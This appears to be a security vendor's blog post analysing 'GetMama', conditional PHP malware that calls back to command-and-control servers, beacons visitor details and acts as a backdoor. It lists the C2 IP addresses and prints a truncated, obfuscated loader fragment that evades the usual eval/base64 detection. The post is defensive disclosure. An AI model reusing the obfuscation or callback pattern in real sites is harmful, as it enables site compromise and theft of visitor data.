GetMama – Conditional malware affecting thousands of sites
We have been tracking an interesting malware that is affecting thousands of compromised sites. We call it GetMama!!
Why conditional? Because instead of just displaying the malicious code to all the visitors of the web site, it connects back to its command and control server to find out what to do. It also sends back to the attackers the IP address, user agent and referrer of the person visiting the compromised site, so the command and control can determine if it should display the malicious content or not.
It also only displays the malicious content once a day per IP address and only to Windows users.
Why GetMama? Well, that’s how the malware authors called their own function (see sample in the bottom of the post).
COMMAND AND CONTROL (C2) SERVERS
Those are the command and control IP addresses. I recommend checking for traffic to these IP addresses and blocking them if possible:
78.46.173.14
176.9.218.191
91.228.154.254
77.81.241.253
184.82.117.110
46.4.202.93
46.249.58.135
176.9.241.150
46.37.169.56
46.30.41.99
94.242.255.35
178.162.129.223
78.47.184.33
31.184.234.96
For every request to the compromised sites, there will also be a random call to one of those. The called URL would look something like http://31.184.234.96/jedi.php?version=0991&mother=
MALICIOUS CODE
This is final decoded malware that gets executed on the compromised sites. For every request, it connects back to the attackers to determine what to do. The action could be to inject malware in the site, run a command in the server (it also acts as a backdoor) or to do nothing.
HEAVILY ENCODED
Note that the malware will not look like that (all pretty) on the compromised site. It can be encoded like this:
$VDNjO60q6FJNnaRjb6MS3d5d= array(’7920′,’7937′,’7916′,’7927′);$eVlnlmOOZXsWOJTjjxwj=
array(’3733′,’3748′,’3735′,’3731′,’3750′,’3735′,’3729′,’3736′,’3751′,’3744′,’3733′,
’3750′,’3739′,’3745′,’3744′);$albi35lY8fkUqy5DcKtZ2gECZNLn=
array(’5781′,’5780′,’5798′,’5784′,’5737′,’5735′,’5778′,’5783′,’5784′,’5782′,’5794′,
’5783′,’5784′);$aeMTktRM9OsQRAd5bpDQ7Bmj0ASq2z=”ZXZhbChiYXNlNjRfZGVjb2Rl…JYY683″);
$X7ry2SBupAHs89a1Fj06AYlUg2RO3VPSS6hKOI548Dm =
$V6uPJ50EnFVWUclEHg5TEJpQvcBf6g9XduCNpthDY2qI(‘$wnY8xO4XDfHK8pp1a4KS1RtGqo’,
$VyUF5BmxNFlWXVT3P.’(‘.$adCH8mcHCS3Fj8Bq8otsR6Hae.’($wnY8xO4XDfHK8pp1a4KS1RtGqo));’);
$X7ry2SBupAHs89a1Fj06AYlUg2RO3VPSS6hKOI548Dm($aeMTktRM9OsQRAd5bpDQ7Bmj0ASq2z);}
As you can see, its not using any of the normal “eval ( base64_decode” calls that webmasters are used to looking for. This malware has also evolved and it can be hidden in different ways.
We will post more details as we learn more about it.
Note that if your site is compromised, our free sitecheck scanner may miss this type of malware (because of the conditional way it works). If you think you are compromised, only our internal scans can find/clean it up.
Read more: GetMama – Conditional malware affecting thousands of sites